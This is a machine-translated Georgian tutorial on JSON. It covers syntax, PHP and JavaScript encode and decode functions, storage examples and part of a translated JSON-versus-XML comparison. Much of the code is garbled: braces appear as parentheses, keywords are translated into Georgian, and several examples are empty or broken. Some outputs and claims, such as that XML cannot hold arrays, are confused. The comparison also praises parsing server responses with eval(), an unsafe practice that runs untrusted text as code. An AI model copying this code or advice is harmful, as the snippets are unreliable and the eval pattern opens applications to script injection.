თქვენ ასევე შეგიძლიათ გადასცეთ დამატებითი არგუმენტები json_decode() ფუნქციას დიდი რიცხვების დამუშავებისა და რეკურსიის დასადგენად.

დასკვნა JSON ფორმატის შესახებ

თუ თქვენ აპირებთ Ajax-ის ტექნოლოგიის გამოყენებით ვებ აპლიკაციის შექმნას, თქვენ აუცილებლად გამოიყენებთ JSON ფორმატს სერვერსა და ბრაუზერს შორის მონაცემების გასაცვლისთვის.

JSON არის ტექსტური ფორმატი მონაცემთა ჩაწერისთვის. ის საშუალებას გაძლევთ ტექსტის სახით წარმოადგინოთ როგორც ერთი რიცხვი ან სტრიქონი, ასევე რთული სტრუქტურები, მაგალითად, მასივები მონაცემებით. ამ ჩაწერის ფორმატის გამოყენება მოსახერხებელია, რადგან ის იკითხებადი და ინტუიციურია, ამავე დროს საშუალებას გაძლევთ შეინახოთ ძალიან რთული მონაცემთა სტრუქტურები. გარდა ამისა, ის უფრო კომპაქტურია ვიდრე xml, ამიტომ, ჩემი აზრით, უფრო სასურველია მონაცემთა გაცვლა ვებ ბრაუზერსა და სერვერს შორის.

JSON სინტაქსი მაგალითებით

json ფორმატი ჩვეულებრივ იწერება 2 ვარიანტში:

1. სიდიდეების თანმიმდევრობა. მაგალითად, თანმიმდევრობა 10, 15 და "ტესტი" JSON ფორმატში ასე გამოიყურება:

2. ჩაწერა გასაღების სახით: მნიშვნელობის წყვილები. Მაგალითად:

("სრული სახელი": "ივანოვი სერგეი", "დაბადების თარიღი": "03/09/1975")

ოდნავ უფრო რთული მაგალითი:

("სრული სახელი": "ივანოვი სერგეი", "მისამართი": ("ქალაქი": "მოსკოვი", "ქუჩა": "პიატნიცკაია", "სახლი": "35") )

PHP ფუნქციები JSON ფორმატთან მუშაობისთვის

PHP ენაზე 5.2 ვერსიიდან. არსებობს მხოლოდ 4 ფუნქცია:

json_decode - შიფრავს JSON სტრიქონს (იღებს მონაცემებს json ფორმატის სტრიქონიდან)
json_encode - აბრუნებს მონაცემთა JSON წარმოდგენას (გარდაქმნის მონაცემებს json სტრიქონში)
json_last_error_msg - აბრუნებს სტრიქონს, რომელიც მიუთითებს ბოლო ზარის შეცდომის შესახებ შეტყობინებაზე json_encode() ან json_decode()
json_last_error - აბრუნებს ბოლო შეცდომას

ძირითადად, უმეტესწილად, მხოლოდ ორი ფუნქცია გამოიყენება: json_encode და json_decode. მე არ შევალ მათი სინტაქსის დეტალებში, შეგიძლიათ ნახოთ php.net დამატებითი დეტალებისთვის. გამოყენების მაგალითი:

$arr1 = მასივი(0,1,2); $json_str = json_encode ($arr1); echo $json_str; // გამოვა json სტრიქონი: $arr2 = json_decode($json_str); ექო $arr2; // გამოვა: 1

გთხოვთ გაითვალისწინოთ: მონაცემთა რუსულ ენაზე JSON ფორმატში კოდირებისას, json_encode ფუნქცია გარდაქმნის რუსულ სიმბოლოებს უნიკოდად, ე.ი. ცვლის მათ \uXXXX-ით და ამგვარად, json სტრიქონი ადამიანისთვის წაუკითხავი ხდება (მაგრამ ბრაუზერისთვის გასაგები). თუ გსურთ თავიდან აიცილოთ უნიკოდზე კონვერტაცია (მაგალითად, კოდის გამართვისას), შეგიძლიათ უბრალოდ გამოიყენოთ JSON_UNESCAPED_UNICODE ვარიანტი.

ასევე, იმისათვის, რომ დაშიფვრისას არ დაემატოს დახრილი შტრიხები და ნომრებით სტრიქონები დაშიფრული იყოს რიცხვებად, შეგიძლიათ გამოიყენოთ JSON_UNESCAPED_SLASHES და JSON_NUMERIC_CHECK. შედეგად, იმისათვის, რომ json სტრიქონი ადამიანზე წასაკითხად გავხადოთ, ჩვენ გავაკეთებთ, მაგალითად, შემდეგს:

$arr = მასივი ("fio" => "ივანოვი სერგეი", "ასაკი" => "32", "vk_url" => "https://vk.com/id11111"); echo json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

ამ პარამეტრების გამოყენების გარეშე ხაზი იქნება ასეთი:

("fio" : "\u0418\u0432\u0430\u043d\u043e\u0432 \u0421\u0435\u0440\u0433\u0435\u0439", "ასაკი": "32", "http: "\s:\\" /vk.com\/id11111")

და პარამეტრების გამოყენებით ვიღებთ წასაკითხ ხაზს:

("fio" : "ივანოვი სერგეი", "ასაკი" : 32, "vk_url" : "https://vk.com/id11111" )

კიდევ ერთი მომენტი: თუ გსურთ json_decode ფუნქციამ დააბრუნოს მასივი json სტრიქონის გაშიფვრისას, უბრალოდ დაამატეთ მეორე პარამეტრი ფუნქციას ტოლი true.

$json_str = "( "a":1, "b":2, "c":3 )"; $obj = json_decode ($json_str); // მიიღეთ ობიექტის echo $obj->a; // გამოვა 1 $arr = json_decode($json_str, true); // მიიღეთ ასოციაციური მასივი echo $arr["a"]; // დაბეჭდავს 1

ამით დასრულდა ჩემი მიმოხილვა PHP ფუნქციების შესახებ.

JavaScript ფუნქციები JSON ფორმატთან მუშაობისთვის

დავიწყოთ იმით, რომ JSON ფორმატი თავდაპირველად გამოიგონეს JavaScript ენისთვის და შემდეგ გახდა უბრალოდ ცალკე ტექსტის ფორმატი, რომელიც გამოიყენება სხვადასხვა ენაზე. როგორც ჩანს, სწორედ ამიტომ JSON სინტაქსი ძალიან ჰგავს ჩვეულებრივი ობიექტების და მასივების ჩაწერის სინტაქსს.

// მასივის მაგალითი JavaScript-ში arr = ; გაფრთხილება (arr); // გამოჩნდება 1 // ობიექტის მაგალითი JavaScript-ში obj = ( "name": "Vasya", "age": 35, "isAdmin": false ) alert(obj.name); // დაბეჭდავს "ვასიას"

JavaScript ფუნქციები, რომლებიც გამოიყენება JSON ფორმატში გადასაყვანად:

JSON.parse - JSON სტრიქონის დეკოდირება (სტრიქონის ობიექტებად და/ან მასივებად გადაქცევა)
JSON.stringify - აბრუნებს მონაცემთა JSON წარმოდგენას (ობიექტების და/ან მასივების json სტრიქონში კონვერტაცია)

json სტრიქონის გაშიფვრის მარტივი მაგალითი რიცხვებით მასივში:

Str = ""; arr = JSON.parse(str); alert(arr); // დაბეჭდავს 1

ობიექტის JSON სტრიქონში გადაყვანის (სერიალიზაციის) მაგალითი:

Obj = ( "სახელი": "ვასია", "ასაკი": 35, "isAdmin": false ) alert(JSON.stringify(obj)); // გამოჩნდება ("სახელი":"ვასია", "ასაკი":35,"isAdmin":false)

ობიექტის JSON სტრიქონში სერიული (კონვერტაციის) დროს, ამ ობიექტის toJSON მეთოდს ეძახიან, თუ ის არსებობს. თუ მეთოდი არ არსებობს, მაშინ ჩამოთვლილია ობიექტის ყველა თვისება. ობიექტის კონვერტაციის მაგალითი toJSON მეთოდით:

Obj = ( "სახელი": "ვასია", "ასაკი": 35, "isAdmin": false, toJSON: ფუნქცია() ( return this.age; ) ) alert(JSON.stringify(obj)); // დაბეჭდავს 35

JSON ფორმატის პრაქტიკული გამოყენების მაგალითები

სინამდვილეში, მე პირადად ვიყენებ JSON ფორმატს 2 ძირითად სიტუაციაში:

1. მონაცემთა გადაცემა ბრაუზერსა და სერვერს შორის Ajax მოთხოვნის გამოყენებით.

მაგალითად, ჩვენ გვაქვს გვერდი, რომელზედაც საჭიროა მონაცემების განახლება გვერდის გადატვირთვის გარეშე. ვთქვათ, გჭირდებათ ინფორმაცია თანამშრომლების სიით და მათი მონაცემების სერვერიდან "ჩამოტვირთვა".

JavaScript-ში, jQuery-ის გამოყენებით, ვამარტივებთ და მონაცემებს ბრაუზერში ცხრილის სახით ვაჩვენებთ:

$.getJSON("get-info.php").success(function(data) ( // ajax მოთხოვნა, სერვერიდან მონაცემები ჩაიწერება მონაცემთა ცვლადში htmlstr = "

"; for (var i=0; i "ივანოვი სერგეი", "დაბადების დღე" => "03/09/1975"); $user_info = მასივი ("fio" => "ალექსეი პეტროვი", "დაბადების დღე" => " 09/18. 1983"); echo json_encode ($user_info); გასვლა;

ამ მაგალითში, JSON სტრიქონი, რომელიც გადაეცა სერვერიდან ბრაუზერში, ასეთი იყო:

[("ფიო":"სერგეი ივანოვი","დაბადების დღე":"03/09/1975"),("ფიო":"ალექსეი პეტროვი","დაბადების დღე":"09/18/1983")]

მე განზრახ არ ვაჩვენე ხაზი "ხის" სახით, რადგან იგი გადაეცემა ზუსტად ამ ფორმით. და როგორც გესმით, JSON ფორმატში მონაცემების ჩაწერა ძალიან კომპაქტური აღმოჩნდა, რაც ნიშნავს, რომ ამ მონაცემების სერვერიდან ბრაუზერში გადატანა თითქმის მყისიერი იქნება.

2. მონაცემთა რთული სტრუქტურების ჩაწერა მონაცემთა ბაზაში.

ზოგჯერ არის სიტუაციები, როდესაც არ არის მიზანშეწონილი მონაცემთა ბაზაში სხვა ცხრილის შექმნა სხვადასხვა მონაცემების შესანახად. ვთქვათ, საიტზე დარეგისტრირებულ მომხმარებელს აქვს შესაძლებლობა მოარგოს ფონის ფერი და ტექსტის ფერი.

იმის ნაცვლად, რომ შექმნათ სხვა ცხრილი 2 პარამეტრისთვის, შეგიძლიათ უბრალოდ შექმნათ ტექსტის სვეტი ცხრილში მომხმარებელთა სიით, რომელშიც განთავსდება მომხმარებლის პარამეტრების მონაცემები. შემდეგ პარამეტრების განახლების მოთხოვნა შეიძლება, მაგალითად, იყოს ასეთი:

განაახლეთ მომხმარებლების პარამეტრების დაყენება = "("ფონის ფერი":"#FFFFFF", "ტექსტის ფერი":"#000000")" WHERE user_id = 10

მომავალში, მომხმარებელთა ცხრილიდან ინფორმაციის მიღების შემდეგ, php სკრიპტს შეუძლია ადვილად დააბრუნოს ისინი პარამეტრების მასივში. მაგალითად, თუ $user_info ცვლადი შეიცავს მომხმარებლისთვის მიღებულ მონაცემებს მომხმარებლების ცხრილიდან, პარამეტრებით მასივის მიღება ძალიან მარტივია:

$settings = json_decode ($user_info["პარამეტრები"], true); echo "ფონის ფერი = ".$settings["background-color"]; echo "ტექსტის ფერი = ".$settings["ტექსტის ფერი"];

JSON ფორმატში ასევე შეგიძლიათ, მაგალითად, ჩაწეროთ მონაცემთა ბაზაში, პროდუქტის რომელი ვარიანტი აირჩია მყიდველმა.

("15":["45","47"], "18":"52") // 15 ვარიანტს აქვს არჩეული მნიშვნელობები 45 და 47, ხოლო 18 ვარიანტს აქვს არჩეული მნიშვნელობა 52

პრინციპში, თქვენ შეგიძლიათ დაწეროთ კალათის მთელი შინაარსი JSON ფორმატში, მაგალითად, ასე:

( "user_id" : 10, "session_id" : "2c2l3h4ii271aojentejtdcmh3", "products": [ ( "product_id" : 15, "options" : ( "15" : , "18" : 52), "რაოდენობა" : 1, "price" : 1500 ), ("product_id" : 16, "options" : ( "15" : , "18" : 51 ), "რაოდენობა" : 2, "price" : 1000 ) ] )

მისი ჩვეულებრივი არახის სახით, ეს JSON სტრიქონი იქნება ასეთი:

("user_id":10,"session_id":"2c2l3h4ii271aojentejtdcmh3","products":[("product_id":15,"options":("15":"18":52),"რაოდენობა":1 , "ფასი":1500),("product_id":16,"options":("15":,"18":51),"რაოდენობა":2,"ფასი":1000)])

ამრიგად, როგორც მაგალითებიდან ჩანს, თითქმის ნებისმიერი ინფორმაციის შენახვა და გადაცემა შესაძლებელია JSON ფორმატში.

JSON (JavaScript Object Notation) არის მონაცემთა გადაცემის ფორმატი. როგორც სახელი გვთავაზობს, ფორმატი დაფუძნებულია JavaScript პროგრამირების ენაზე, მაგრამ ის ასევე ხელმისაწვდომია სხვა ენებზე (Python, Ruby, PHP, Java).

JSON იყენებს .json გაფართოებას. ფაილის სხვა ფორმატებში გამოყენებისას (როგორიცაა .html), JSON სტრიქონი ციტირებულია ან ენიჭება ცვლადს. ეს ფორმატი ადვილად გადადის ვებ სერვერსა და კლიენტს ან ბრაუზერს შორის.

მსუბუქი და ადვილად გასაგები, JSON არის XML-ის შესანიშნავი ალტერნატივა.

ეს გაკვეთილი გაგაცნობთ JSON-ის უპირატესობებს, ობიექტებს, ზოგად სტრუქტურასა და სინტაქსს.

JSON სინტაქსი და სტრუქტურა

JSON ობიექტი არის გასაღების მნიშვნელობის სახით და ჩვეულებრივ იწერება ხვეული ფრჩხილებით. JSON-თან მუშაობისას ყველა ობიექტი ინახება .json ფაილში, მაგრამ ისინი ასევე შეიძლება არსებობდნენ როგორც ცალკეული ობიექტები პროგრამის კონტექსტში.

JSON ობიექტი ასე გამოიყურება:

"first_name" : "ჯონ",
"last_name" : "სმიტი",
"ადგილმდებარეობა": "ლონდონი",
"ონლაინ": მართალია,
"მიმდევრები": 987

ეს ძალიან მარტივი მაგალითია. JSON ობიექტი შეიძლება შეიცავდეს ბევრ ხაზს.

როგორც ხედავთ, ობიექტი შედგება გასაღები-მნიშვნელობის წყვილებისგან, რომლებიც ჩასმულია ხვეული ბრეკეტებში. JSON-ში მონაცემების უმეტესობა იწერება როგორც ობიექტები.

ორწერტილი მოთავსებულია გასაღებსა და მნიშვნელობას შორის. ყოველი წყვილის შემდეგ თქვენ უნდა დააყენოთ მძიმე. შედეგი არის:

"გასაღები" : "მნიშვნელობა", "გასაღები" : "მნიშვნელობა", "გასაღები": "მნიშვნელობა"

JSON ღილაკი არის მარცხნივ. გასაღები უნდა განთავსდეს ორმაგ ბრჭყალებში. ნებისმიერი სწორი სტრიქონი შეიძლება გამოყენებულ იქნას გასაღებად. ერთი ობიექტის ფარგლებში ყველა გასაღები უნიკალური უნდა იყოს. გასაღები შეიძლება შეიცავდეს სივრცეს („სახელი“), მაგრამ პროგრამირებას შეიძლება ჰქონდეს პრობლემები ასეთ გასაღებზე წვდომისას. ამიტომ, ინტერვალის ნაცვლად, უმჯობესია გამოიყენოთ ქვედა ხაზი („first_name“).

JSON მნიშვნელობები არის სვეტის მარჯვენა მხარეს. ნებისმიერი მარტივი მონაცემთა ტიპი შეიძლება გამოყენებულ იქნას როგორც მნიშვნელობა:

სიმები
ნომრები
ობიექტები
მასივები
ლოგიკური მონაცემები (ჭეშმარიტი ან მცდარი)

მნიშვნელობები ასევე შეიძლება წარმოდგენილი იყოს მონაცემთა რთული ტიპებით (მაგალითად, ობიექტები ან JSON მასივები).

JSON მხარს უჭერს ინდივიდუალურ სინტაქსს ზემოთ ჩამოთვლილი მონაცემთა თითოეული ტიპისთვის: თუ მნიშვნელობა წარმოდგენილია სტრიქონით, მაშინ ის იქნება ციტირებული, მაგრამ თუ რიცხვია, მაშინ არა.

როგორც წესი, .json ფაილებში მონაცემები იწერება სვეტში, მაგრამ JSON ასევე შეიძლება ჩაიწეროს ზედიზედ:

("first_name" : "John", "last_name" : "Smith", "online" : true, )

ასე იწერება JSON მონაცემები, როგორც წესი, ფაილის სხვა ტიპებზე.

JSON მონაცემების სვეტში ჩაწერით, თქვენ აუმჯობესებთ ფაილის წაკითხვას (განსაკუთრებით თუ ფაილში ბევრი მონაცემია). JSON უგულებელყოფს სვეტებს შორის სივრცეებს, ასე რომ თქვენ შეგიძლიათ გამოიყენოთ ისინი თქვენი მონაცემების სვეტების მართვად რაოდენობად დასაყოფად.

"first_name" : "ჯონ",
"last_name" : "სმიტი",
"ონლაინ": მართალია

გაითვალისწინეთ, რომ JSON ობიექტები ძალიან ჰგავს JavaScript ობიექტებს, მაგრამ ისინი არ არიან იგივე ფორმატი. მაგალითად, შეგიძლიათ გამოიყენოთ ფუნქციები JavaScript-ში, მაგრამ არა JSON-ში.

JSON-ის მთავარი უპირატესობა ის არის, რომ ამ ფორმატის მონაცემები მხარდაჭერილია მრავალი პოპულარული პროგრამირების ენით, ამიტომ მათი სწრაფად გადაცემა შესაძლებელია.

თქვენ ახლა იცნობთ ძირითად JSON სინტაქსს. მაგრამ JSON ფაილებს შეიძლება ჰქონდეთ რთული, იერარქიული სტრუქტურები, რომლებიც მოიცავს ჩადგმულ მასივებს და ობიექტებს.

რთული ტიპები JSON-ში

JSON-ს შეუძლია შეინახოს ჩადგმული ობიექტები და მასივები, რომლებიც გადაეცემა მათთვის მინიჭებული გასაღების მნიშვნელობად.

ჩადგმული ობიექტები

ქვემოთ ნახავთ მაგალითს - users.json ფაილს, რომელიც შეიცავს მომხმარებლის მონაცემებს. თითოეული მომხმარებლისთვის

("ჯონ", "ჯესი", "დრე", "ჯემი") მნიშვნელობად გადაეცემა ჩადგმული ობიექტი, რომელიც, თავის მხრივ, ასევე შედგება გასაღებებისა და მნიშვნელობებისაგან.

შენიშვნა: პირველი ჩასმული JSON ობიექტი მონიშნულია წითლად.

"ჯონი" :(
"მომხმარებლის სახელი" : "ჯონ",
"ადგილმდებარეობა": "ლონდონი",
"ონლაინ": მართალია,
"მიმდევრები": 987

"ჯესი" :(
"მომხმარებლის სახელი" : "ჯესი",
"ადგილმდებარეობა": "ვაშინგტონი",
"ონლაინ": ყალბი,
"მიმდევრები": 432

"დახატა" :(
"მომხმარებლის სახელი" : "Drew",
"ადგილმდებარეობა": "პარიზი",
"ონლაინ": ყალბი,
"მიმდევრები": 321

"ჯემი" :(
"მომხმარებლის სახელი" : "ჯემი",
"ადგილმდებარეობა": "ბერლინი",
"ონლაინ": მართალია,
"მიმდევრები": 654

გაითვალისწინეთ, რომ ხვეული ბრეკეტები გამოიყენება როგორც ბუდებულ ობიექტში, ასევე მთავარ ობიექტში. მძიმეები წყობილ ობიექტებში გამოიყენება ისევე, როგორც ჩვეულებრივ ობიექტებში.

ჩადგმული მასივები

JSON-ში მონაცემების ჩადგმა შესაძლებელია JavaScript მასივების გამოყენებით, რომლებიც გადაეცემა მნიშვნელობებს. JavaScript იყენებს კვადრატულ ფრჩხილებს () მასივის დასაწყისში და ბოლოს. მასივი არის მონაცემთა შეკვეთილი კოლექცია, რომელიც შეიძლება შეიცავდეს სხვადასხვა ტიპის მონაცემებს.

მასივი გამოიყენება დიდი რაოდენობით მონაცემების გადასაცემად, რომლებიც შეიძლება დაჯგუფდეს. მაგალითად, ვცადოთ მომხმარებლის მონაცემების ჩაწერა.

{
"first_name" : "ჯონ",
"last_name" : "სმიტი",
"ადგილმდებარეობა": "ლონდონი",
"საიტები" : [

"აღწერა" : "სამუშაო",
"URL": "https://www.johnsmithsite.com/"

},
{

"აღწერილობა" : "გაკვეთილები",
"URL": "https://www.johnsmithsite.com/tutorials"

"სოციალური მედია" : [

"აღწერა": "ტვიტერი",
"ლინკი": "https://twitter.com/johnsmith"

"აღწერა" : "facebook",
"ლინკი": "https://www.facebook.com/johnsmith"

"აღწერა" : "github",
"ლინკი": "https://github.com/johnsmith"

გასაღებებს „websites“ და „social_media“ ენიჭება მასივები, როგორც მნიშვნელობები, რომლებიც მოთავსებულია კვადრატულ ფრჩხილებში.

ჩადგმული მასივების და ობიექტების გამოყენებით, შეგიძლიათ შექმნათ მონაცემთა რთული იერარქია.

JSON თუ XML?

XML (eXtensible Markup Language) საშუალებას გაძლევთ შეინახოთ მონაცემები ადამიანებისა და მანქანებისთვის ადვილად გასაგები ფორმით. XML ფორმატს მხარს უჭერს პროგრამირების ენების დიდი რაოდენობა.

XML-სა და JSON-ს ბევრი საერთო აქვთ. თუმცა, XML მოითხოვს ბევრად მეტ ტექსტს, რაც ნიშნავს, რომ ასეთი ფაილები უფრო დიდია და უფრო რთული წასაკითხად და ჩასაწერად. უფრო მეტიც, XML მუშავდება მხოლოდ XML თარჯიმნის გამოყენებით, ხოლო JSON შეიძლება დამუშავდეს მარტივი ფუნქციის გამოყენებით. JSON-ისგან განსხვავებით, XML ვერ ინახავს მასივებს.

მოდით შევადაროთ ორი ფაილი: ისინი შეიცავს ერთსა და იმავე მონაცემებს, მაგრამ პირველი დაწერილია XML ფორმატში, ხოლო მეორე JSON.

users.xml

ჯონ ლონდონი

ჯესი ვაშინგტონი

დრიუ პარიზი

ჯეიმი ბერლინი

users.json
("მომხმარებლები": [

("მომხმარებლის სახელი": "ჯონი", "ადგილმდებარეობა": "ლონდონი"),
("მომხმარებლის სახელი": "ჯესი", "ადგილმდებარეობა": "ვაშინგტონი"),
("მომხმარებლის სახელი" : "დრიუ", "ადგილმდებარეობა": "პარიზი"),
("მომხმარებლის სახელი": "JamieMantisShrimp", "location": "Berlin")

JSON არის ძალიან კომპაქტური ფორმატი და არ საჭიროებს იმდენ ტეგს, როგორც XML. გარდა ამისა, XML, JSON-ისგან განსხვავებით, არ უჭერს მხარს მასივებს.

თუ კარგად იცნობთ HTML-ს, შეამჩნევთ, რომ XML ფორმატი ძალიან ჰგავს მას (განსაკუთრებით ტეგებს). JSON უფრო მარტივია, მოითხოვს ნაკლებ ტექსტს და უფრო ადვილი გამოსაყენებელია, მაგალითად, AJAX აპლიკაციებში.

რა თქმა უნდა, ფორმატი უნდა შეირჩეს აპლიკაციის საჭიროებიდან გამომდინარე.

ინსტრუმენტები JSON-ისთვის

JSON ჩვეულებრივ გამოიყენება JavaScript-ში, მაგრამ ფორმატი ფართოდ გამოიყენება პროგრამირების სხვა ენებში.

დამატებითი ინფორმაცია JSON თავსებადობისა და დამუშავების შესახებ შეგიძლიათ იხილოთ პროექტის ვებსაიტზე და jQuery ბიბლიოთეკაში.

იშვიათია JSON-ის დაწერა ნულიდან. როგორც წესი, მონაცემები იტვირთება წყაროდან ან გარდაიქმნება JSON-ში. შეგიძლიათ გადაიყვანოთ CSV ან ჩანართებით გამოყოფილი მონაცემები JSON-ში ღია კოდის ხელსაწყოს Mr. მონაცემთა გადამყვანი. XML-ის JSON-ად გადაქცევისთვის და პირიქით, გამოიყენეთ utilities-online.info. ავტომატურ ინსტრუმენტებთან მუშაობისას აუცილებლად შეამოწმეთ შედეგები.

JSON ფაილები (კონვერტირებული მონაცემების ჩათვლით) შეიძლება შემოწმდეს JSONLint სერვისის გამოყენებით. JSON ვებ განვითარების კონტექსტში შესამოწმებლად, იხილეთ JSFiddle.

დასკვნა

JSON არის მარტივი და მსუბუქი მონაცემთა ფორმატი. JSON ფაილების გადატანა, შენახვა და გამოყენება მარტივია.

დღეს JSON ხშირად გამოიყენება API-ებში.

თარგმანი

შენიშვნა: ქვემოთ მოცემულია მიმოხილვის სტატიის თარგმანი „JSON vs XML“, რომელიც ეძღვნება JSON-ს და მისი შედარება XML-თან რიგი კრიტერიუმების მიხედვით. გამოქვეყნებულია JSON-ის პოპულარიზაციის მიზნით ჰაბრაჰაბრის მკითხველებში.

JSON (JavaScript Object Notation) არის მონაცემთა გაცვლის ფორმატი, რომელიც ადვილად იკითხება ხალხის მიერ, ადვილი დასამუშავებელი და პროგრამების მიერ გენერირება.

JavaScript ენის ქვეჯგუფზე დაყრდნობით, სტანდარტული ECMA-262 მე-3 გამოცემა - 1999 წლის დეკემბერი.

JSON - ვიკიპედია

რა არის სწორი პასუხის ფორმატი XMLHttpRequest-ისთვის AJAX აპლიკაციებში? მარკირებაზე დაფუძნებული აპლიკაციების უმეტესობისთვის პასუხი მარტივია - (X)HTML. ინფორმაციაზე ორიენტირებული აპლიკაციებისთვის არჩევანი იქნება XML და JSON შორის. ბოლო დრომდე, ნამდვილად არ მაინტერესებდა, რისი გამოყენება სჯობდა, XML თუ JSON. მე უბრალოდ ვივარაუდე, რომ თითოეულ კონკრეტულ შემთხვევაში ღირდა შესაფერისი ფორმატის არჩევა, სულ ეს არის. მაგრამ ცოტა ხნის წინ მე მქონდა შესაძლებლობა გამომეცადა ეს მიდგომა პრაქტიკაში. ამ პოსტში მე აღვწერ კრიტერიუმებს, რომლითაც შევადარე XML-სა და JSON-ს და ჩემს საკუთარ დასკვნებს.

ასე რომ, კრიტერიუმები შემდეგია.

კოდის წაკითხვა.
სერვერის მხარის მონაცემთა ობიექტის შექმნის სიმარტივე.
მონაცემთა მარტივი დამუშავება კლიენტის მხრიდან.
ადვილად გაფართოება.
გამართვა და შეცდომის გამოსწორება.
Უსაფრთხოება.

კოდის წაკითხვა

პირი პირი = new Person(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); writer.write(JSONObject.fromObject(person).toString());

თუ გავითვალისწინებთ ასეთი პროგრამირების ინტერფეისების ფუნქციონირებას, მაშინ JSON-ის შექმნა დიდად არ განსხვავდება ჯავის ლობიოს ობიექტებად გადაქცევისგან. თუმცა, აღსანიშნავია, რომ ახლა უფრო მეტი გზა არსებობს XML გენერირებისთვის, ვიდრე JSON. ზოგიერთი XML API არსებობს მრავალი წლის განმავლობაში და ამ მიზეზით შეიძლება იყოს უფრო სტაბილური რთული აპლიკაციებისთვის გამოყენებისას.

გასათვალისწინებელი კიდევ ერთი ასპექტი იქნება რესურსების რაოდენობა, რომლებიც გამოყენებული იქნება პასუხის შესაქმნელად. თუ მონაცემების მიღებისას უკვე შესრულებულია „მძიმე“ ოპერაციები, მაშინ სერვერის ნაწილს არ გაუჭირდება მათი დამატებით გადაქცევა XML-ად საპასუხოდ. თუ XML-ის შექმნა ყველაზე რესურსზე ინტენსიური ოპერაციაა, მაშინ უმჯობესია გამოიყენოთ JSON.

გამოყენების სიმარტივე

კლიენტის მხრიდან, JSON მონაცემების დამუშავება, როგორც პასუხი XMLHttpRequest-ზე, ძალიან მარტივია.

Var პირი = eval(xhr.responseText); alert(person.firstName);

რეგულარული eval()-ის გამოყენებით შეგიძლიათ გადააქციოთ პასუხი JavaScript ობიექტად. ამ ოპერაციის დასრულების შემდეგ, მონაცემებზე წვდომა შესაძლებელია კონვერტირებული ობიექტის თვისებების გამოყენებით. ეს არის ყველა JSON-ის ყველაზე ელეგანტური ნაწილი.

ახლა მოდით გადავხედოთ XML-ს. ქვემოთ მოცემული კოდის ფრაგმენტი უფრო გამჭვირვალე რომ გავხადო, მე ამოვშალე ყველა შეცდომის შემოწმება.

"სახელი");

ცხადია, სერვერიდან მიღებული მონაცემების დამუშავებისას აუცილებელია მთელი DOM ხის გადახედვა. ეს არის ძალიან შრომატევადი ოპერაცია და მიდრეკილია შეცდომებისკენ. სამწუხაროდ, ბრაუზერში საქმე გვაქვს DOM-თან. ბრაუზერები არ უჭერენ მხარს შეკითხვის ენას, როგორიცაა XPath, XML დოკუმენტში ხის კვანძების მოსაძიებლად. ამ ფუნქციების მხარდაჭერა უკვე ვრცელდება XSLT-ზე, მაგრამ ის საკმაოდ შეზღუდულია ( შენიშვნა: ბრაუზერში) XML-ის მარკირებად გადაქცევის თვალსაზრისით (მაგალითად, HTML). სამუშაო ჯგუფი ვებ ინტერფეისებზე ( ვებ API სამუშაო ჯგუფი) W3C-დან მუშაობს სელექტორ ინტერფეისზე ( Selectors API), რომელიც შეიძლება გამოყენებულ იქნას CSS სელექტორების გამოსაყენებლად Document ობიექტიდან კვანძების არჩევისას. ასეთი ინტერფეისის გამოყენებით, შესაძლებელი იქნება ზემოთ მოყვანილი მაგალითის კოდის გარდაქმნა xml.match("person.firstName")-ად, რათა მივიღოთ firstName ელემენტი. ეს არ არის დიდი მიღწევა XML დოკუმენტისთვის ამ მაგალითში, მაგრამ ის შეიძლება სასარგებლო იყოს ძალიან განშტოებულ დოკუმენტებთან მუშაობისთვის. ეს ინტერფეისი ჯერ არ არის დასრულებული და ბრაუზერების მხარდაჭერამდე წლები გავა.

ზოგადად, თუ მე მომიწევს არჩევანის გაკეთება XML-სა და JSON-ს შორის, მე მირჩევნია JSON კლიენტის მხარეს დამუშავების სიმარტივის გამო.

გაფართოება

გაფართოება ხელს უწყობს მონაცემთა პროვაიდერსა და მიმღებს შორის კომუნიკაციების რაოდენობის შემცირებას. AJAX აპლიკაციების კონტექსტში, კლიენტის მხარის სკრიპტი უნდა იყოს საკმარისად უცვლელი მონაცემების თავსებადი ცვლილებების მიმართ.

ზოგადი რწმენაა, რომ XML ავტომატურად გაფართოვდება უბრალოდ ასო "X"-ის არსებობის გამო. მაგრამ ეს არ არის უპირობო წესი (ანუ ნაგულისხმევად მოქმედება). XML გაფართოება ეფუძნება პრინციპს, რომ თქვენ შეგიძლიათ განსაზღვროთ დამატებითი კვანძები თქვენს XML-ში და შემდეგ გამოიყენოთ წესი „გამოტოვეთ ის, რაც არ არის საჭირო“ (ანუ, თუ XML-ის დამუშავებისას შეხვდებით უცნობ ელემენტს ან ატრიბუტს, უბრალოდ გამოტოვეთ იგი).

გაფართოებულობით სრული სარგებლობისთვის, თქვენ უნდა დაწეროთ კლიენტის მხარის კოდი გაფართოების გათვალისწინებით. მაგალითად, შემდეგი მაგალითი გაფუჭდება, თუ გსურთ, მაგალითად, MiddleName ელემენტის ჩასმა.

Var xml = xhr.responseXML; var ელემენტები = xml.getElementsByTagName("firstName"); var firstNameEl = ელემენტები[0]; var lastNameEl = firstNameEl.nextSibling;

თუ ელემენტის შემდეგ დაუყოვნებლივ ჩასვით, ეს მაგალითი გამოიწვევს შუა სახელის არასწორ ინტერპრეტაციას, როგორც გვარს. იმისთვის, რომ ამ ცვლილებაზე უცვლელი იყოს, კოდი უნდა გადაიწეროს, რომ მკაფიოდ მივიღოთ ელემენტი, ან წვდომა NextSibling მხოლოდ იმ შემთხვევაში, თუ სასურველი tagName-ის მქონე ბავშვი მოიძებნება. ამრიგად, XML გაფართოებულია მანამ, სანამ კოდს დაწერთ მომავალი გაფართოების გათვალისწინებით. ყველაფერი უკიდურესად მარტივია.

მოდით დავუბრუნდეთ JSON-ს. მე ვამტკიცებ, რომ JSON მონაცემების გაფართოება უფრო ადვილია, ვიდრე XML. ეს უდავოდ ნაკლებ ძალისხმევას მოითხოვს. მოდით განვიხილოთ JSON პასუხისთვის MiddleName თვისების დამატება. მასზე წვდომისთვის, თქვენ უბრალოდ უნდა დარეკოთ.

Alert(person.middleName);

ეს კოდი არ შეიცვლება, თუ თქვენს პასუხს შუა სახელს დაამატებთ. მაგრამ რა უნდა გააკეთოს შუა სახელით ან მის გარეშე პირის დამუშავების შემთხვევაში? JSON-ით ადვილია.

if (person.middleName) ( // მუშავდება)

